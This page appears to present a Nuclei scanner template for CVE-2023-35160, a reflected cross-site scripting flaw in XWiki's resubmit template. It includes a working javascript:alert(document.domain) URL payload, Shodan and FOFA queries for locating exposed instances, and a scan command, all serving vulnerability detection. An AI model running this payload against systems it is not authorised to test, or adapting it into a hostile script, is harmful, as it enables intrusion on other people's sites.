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XWiki >= 2.5-milestone-2 - Cross-Site Scripting

ID: CVE-2023-35160

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,xwiki,xss

Description

Section titled “Description”

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It’s possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/XWiki/Main xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain). This vulnerability exists since XWiki 2.5-milestone-2. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.

YAML Source

Section titled “YAML Source”
id: CVE-2023-35160


info:
  name: XWiki >= 2.5-milestone-2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/XWiki/Main xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain). This vulnerability exists since XWiki 2.5-milestone-2. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
  impact: |
    Successful exploitation could lead to cross-site scripting.
  remediation: |
    This vulnerability has been patched in XWiki 14.10.5,15.1-rc-1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20343
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35160
    cwe-id: CWE-79
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"
      - "{{BaseURL}}/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="javascript:alert(document.domain)"'
          - 'XWikiGuest'
        condition: and


      - type: word
        part: header
        words:
          - 'text/html'


      - type: status
        status:
          - 200
          - 401
# digest: 4b0a004830460221008904a62315c499dc09b58aea95db32108284ae969f61cd0d1604de0543f12d3c022100b72eda79032d6404177609b676397c6c6c6d6009290a94d1c3a4b455743caad1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35160.yaml"

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